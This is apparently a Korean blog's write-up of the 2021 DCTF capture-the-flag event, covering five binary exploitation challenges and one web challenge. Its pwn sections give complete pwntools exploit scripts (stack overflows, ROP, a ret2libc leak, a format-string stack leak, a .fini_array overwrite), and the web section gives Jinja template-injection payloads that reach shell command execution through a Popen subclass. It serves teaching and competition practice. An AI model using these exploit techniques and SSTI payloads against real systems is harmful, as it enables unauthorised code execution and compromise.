5un9hun
5un9hun Have A Nice Day!

2021 Dragon CTF Write-Up

2021 Dragon CTF Write-Up

Pwn

1. Pwn sanity check

Problem

사진은 없지만 바이너리 파일이 하나 주어졌다.

Solve

main함수에서 vuln함수로 호출하고 vuln 함수는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
int vuln()
{
  char s; // [rsp+0h] [rbp-40h]
  int v2; // [rsp+3Ch] [rbp-4h]

  puts("tell me a joke");
  fgets(&s, 256, stdin);
  if ( v2 != 0xDEADC0DE )
    return puts("will this work?");
  puts("very good, here is a shell for you. ");
  return shell();
}

버퍼s에 입력을 받아서 v2의 값을 0xDEADC0DE로 만들어야 shell 함수를 호출해준다. shell 함수는 다음과 같습니다.

1
2
3
4
5
6
7
int shell()
{
  puts("spawning /bin/sh process");
  puts("wush!");
  printf("$> ");
  return puts("If this is not good enough, you will just have to try harder :)");
}

바로 플래그를 주는 줄 알았는데 웬 말장난만 한다. 사용자 정의 함수에 또 다른 win이라는 함수가 존재했는데 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall win(int a1, int a2)
{
  int result; // eax

  result = puts("you made it to win land, no free handouts this time, try harder");
  if ( a1 == 0xDEADBEEF )
  {
    result = puts("one down, one to go!");
    if ( a2 == 0x1337C0DE )
    {
      puts("2/2 bro good job");
      system("/bin/sh");
      exit(0);
    }
  }
  return result;
}

이 함수가 쉘을 실행시켜준다. 그러면 이 함수를 호출하게끔 해야하는데 호출할 때, 주의사항으로 매개변수로 들어오는
a1과 a2 값이 각각 0xDEADBEEF, 0x1337C0DE 여야한다. 따라서 가젯도 찾아야한다.

버퍼 s에서 256개의 입력을 받으므로, main의 ret를 넘어서까지 덮을 수 있으므로 ret에 win 함수를 호출시키는데, 이 때, 인자도 같이 넘겨준다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

r = remote('dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io', 7480)

r.recvuntil("joke")

win = 0x400697

rdi = 0x400813
rsi_r15 = 0x400811

payload = b''
payload += b'A'*(0x40 - 4)
payload += p32(0xDEADC0DE)
payload += b'B'*8
payload += p64(rdi)
payload += p64(0xDEADBEEF)
payload += p64(rsi_r15)
payload += p64(0x1337C0DE)
payload += p64(0)
payload += p64(win)

r.sendline(payload)

r.interactive()

Result

image

FLAG

1
FLAG : dctf{Ju5t_m0v3_0n}

2. Pinch me

Problem

바이너리 파일이 한 개 주어졌다.

Solve

main -> vuln 호출

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int vuln()
{
  char s; // [rsp+0h] [rbp-20h]
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  v3 = 0x1234567;
  v2 = 0x89ABCDEF;
  puts("Is this a real life, or is it just a fanta sea?");
  puts("Am I dreaming?");
  fgets(&s, 100, stdin);
  if ( v2 == 0x1337C0DE )
    return system("/bin/sh");
  if ( v3 == 0x1234567 )
    return puts("Pinch me!");
  return puts("Pinch me harder!");
}

v2 의 값이 0x1337C0DE이기만하면 쉘이 실행된다. v3는 굳이 덮을 필요는 없는데 덮었다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

r = remote('dctf1-chall-pinch-me.westeurope.azurecontainer.io', 7480)

r.recvuntil('dreaming?')

payload = b''
payload += b'A'*(0x20 - 8)
payload += p32(0x1337C0DE)
payload += p32(0x01234567)

r.sendline(payload)

r.interactive()

Result

image

FLAG

1
FLAG : dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}

3. Read me

Problem

바이너리 파일이 하나 주어졌다.

Solve

vuln함수를 호출

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 vuln()
{
  FILE *stream; // ST08_8
  char s; // [rsp+10h] [rbp-50h]
  char format; // [rsp+30h] [rbp-30h]
  unsigned __int64 v4; // [rsp+58h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  stream = fopen("flag.txt", "r");
  fgets(&s, 28, stream);
  fclose(stream);
  puts("hello, what's your name?");
  fgets(&format, 30, _bss_start);
  printf("hello ", 30LL);
  printf(&format);
  return __readfsqword(0x28u) ^ v4;
}

printf에서 FSB가 터진다. flag.txt를 읽어와서 버퍼 s에 저장되었으니 스택어딘가에 저장이 되었을 것이다. 따라서 FSB로 스택을 leak한다.

%1$p 에서 올라가면서 스택을 확인했고, 플래그를 찾을 수 있었다. 리틀 엔디안이기 때문에 문자가 거꾸로 출력된다. 스크립트로 자동화를 이용해 flag를 긁어오려고 시도했는데 잘 안돼서 안했다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from binascii import unhexlify

def send_data(data):
    try:
        r = remote('dctf-chall-readme.westeurope.azurecontainer.io', 7481)

        r.recvuntil('name?')

        payload = b''
        payload += data
        
        r.sendline(payload)
        r.recvuntil('hello ')

        a = r.recvline()[2:-1]
        print(a)
        return a
    except:
        print()

'''
for i in range(1, 30):
    print(unhexlify(send_data(b'%'+b'%d'%i+b'$p')))
'''
a = send_data(b'%11$p')

#print(unhexlify(b'0a7024323125'))
#print(unhexlify(b'558ee7f8b2a0')) #7
print(unhexlify(b'77306e7b66746364')) #8
print(unhexlify(b'646133725f30675f')) 
print(unhexlify(b'30625f656d30735f'))
print(unhexlify(b'00356b30')) #11

#dctf{n0w_g0_r3ad_s0me_b00k5}




Result

image

FLAG

1
FLAG : dctf{n0w_g0_r3ad_s0me_b00k5}

4. Baby Bof

Problem

문제 파일과 도커파일이 주어졌다.

Solve

도커파일을 확인해보면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y make gcc socat

RUN groupadd pilot
RUN useradd pilot --gid pilot

COPY ./app /app
WORKDIR /app

ENTRYPOINT [ "bash", "/app/startService.sh" ]

우분투 20.04 버젼임을 알 수 있다. 내 우분투도 20.04라서 그냥 진행했다.

다음은 vuln 함수이다.

1
2
3
4
5
6
7
8
int vuln()
{
  char s; // [rsp+6h] [rbp-Ah]

  puts("plz don't rop me");
  fgets(&s, 256, _bss_start);
  return puts("i don't think this will work");
}

256개의 입력을 받아서 BOF가 터지는데, win함수 같은거도 없고, System 함수도 주어지지 않았다. 따라서 ROP를 진행하였다. puts함수의 got를 puts함수의 인자로 넣어서 libc를 leak했고, puts의 offset을 찾아서 다음과 같은 libc를 찾았다.

1
2
3
libc6_2.31-0ubuntu9.1_amd64  
libc6_2.31-0ubuntu9.2_amd64  
libc6_2.31-0ubuntu9_amd64  

이 3개의 libc 파일 내 system과 /bin/sh의 offset이 운좋게 같았다. 그리고 이제 laek한 libc를 이용해서 system(“/bin/sh”)를 호출해 주면 쉘이 실행된다.

페이로드를 보면 ret주소에 ret주소를 한 번 더 호출했는데, movzx였나 호환성 문제로 rsp를 1워드 증가시키거나 감소시켜야 ROP가 잘 진행된다. (출력 함수 중 xmm0 레지스터를 이용하기 때문에 값이 16바이트로 정렬되어 있어야 하기 때문이다.)

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

r = remote('dctf-chall-baby-bof.westeurope.azurecontainer.io', 7481)

r.recvuntil('rop me')

puts_plt = 0x4004a0
puts_got = 0x601018
puts_offset = 0x0875a0

system_offset = 0x055410
binsh_offset = 0x1b75aa

rdi = 0x400683

vuln_addr = 0x4005b7

payload = b''
payload += b'A'*0xa
payload += b'B'*8
payload += p64(0x4005f1) #ret
payload += p64(rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)

r.sendline(payload)
r.recvuntil('work')

puts_addr = r.recv(8)[1:-1]+b'\x00\x00'
print(puts_addr)
puts_addr = u64(puts_addr)
libc_addr = puts_addr - puts_offset 
print(hex(libc_addr))

system_addr = libc_addr + system_offset
binsh_addr = libc_addr + binsh_offset

r.recvuntil('rop me')

payload = b''
payload += b'A'*0xa
payload += b'B'*8
payload += p64(rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

r.sendline(payload)
r.recvuntil('work')

r.interactive()
'''
libc6_2.31-0ubuntu9.1_amd64
libc6_2.31-0ubuntu9.2_amd64
libc6_2.31-0ubuntu9_amd64
'''

Result

image

FLAG

1
FLAG : dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}

5. Magic Trick

Problem

바이너리 파일이 하나 주어졌다.

Solve

main에서 호출하는 magic함수를 살펴보면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 magic()
{
  __int64 v1; // [rsp+0h] [rbp-20h] 8
  _QWORD *v2; // [rsp+8h] [rbp-18h] 8
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What do you want to write");
  __isoc99_scanf("%llu", &v1);
  puts("Where do you want to write it");
  __isoc99_scanf("%llu", &v2);
  puts("thanks");
  *v2 = v1;
  return __readfsqword(0x28u) ^ v3;
}

그리고 win함수가 주어졌다.

1
2
3
4
5
6
void __noreturn win()
{
  puts("You are a real magician");
  system("cat flag.txt");
  exit(1);
}

magic함수에서 v1과 v2를 입력받고 v2주소의 값을 v1의 값으로 덮는다. 이 때, v2의 주소에 win함수를 덮을 수 있다. 따라서 v1의 입력에는 win의 주소를 입력하고, v2에는 magic함수가 끝나고 실행되는 주소에 덮어야한다.

canary 검사인 readfsqwordf 의 got에다 덮을려고 했는데, llu로 입력받아서 오버플로우가 진행되지 않아서 canary를 건드릴 수 없었다. 따라서 바이너리가 종료될 때 실행되는 .fini_array 섹션에 덮었다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

r = remote('dctf-chall-magic-trick.westeurope.azurecontainer.io', 7481)

win = 0x400667
fini_array = 0x600a00

r.recvuntil('write')

payload = b''
payload = b'%d'%win

r.sendline(payload) #v1

r.recvuntil('write it')

payload = b''
payload = b'%d'%fini_array


r.sendline(payload) #v2

r.recvuntil('thanks')

r.interactive()

Result

image

FLAG

1
FLAG : dctf{1_L1k3_M4G1c}

Web

1. Injection

Problem

웹 사이트 링크가 하나 주어졌고, 다음과 같이 로그인 창이 하나 존재한다.
http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/
image

Solve

아무렇게 로그인을 시도하면 다음과 같은 화면으로 넘어간다.
image
이 때 주소는 /login이였는데 여기서 login 대신에 {{7*7}} 을 넣어보면 다음과 같이 49가 출력된다.
image

따라서 파이썬의 SSTI가 터지는 것을 확인했고, 다음과 같이 쿼리를 날렸다.

1
{{''.__class__.__mro__[1].__subclasses__()}}

그랬더니 다음과 같이 root 객체에서 상속받은 클래스들을 확인할 수 있다.
image 여기서 popen 클래스를 찾아서 subclasses의 인덱스에 넣은 후 communicate를 이용해 사용하여 RCE를 진행했다.

1
{{''.__class__.__mro__[1].__subclasses__()[414]('ls',shell=True,stdout=-1).communicate()}}

웹 템플릿을 구성하는 파이썬 파일들의 소스들을 살펴보면서 다음과 같은 파일을 발견했다.

1
2
3
4
5
6
7
8
9
#security.py 

import base64   

def validate_login(username, password):  
	if username != 'admin':  
		return False    
	valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ'  
	return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password  

valid_password의 값과 같아야 한다. 따라서 역으로 연산하면 다음과 같은 결과가 나온다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
import base64

cnt = 0
while(1):
    try:
        flag = base64.b64decode(('='*cnt+'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ')[::-1])
        break
    except:
        cnt += 1

print(flag)

Result

image

FLAG

1
FLAG : dctf{4ll_us3r_1nput_1s_3v1l}

comments powered by Disqus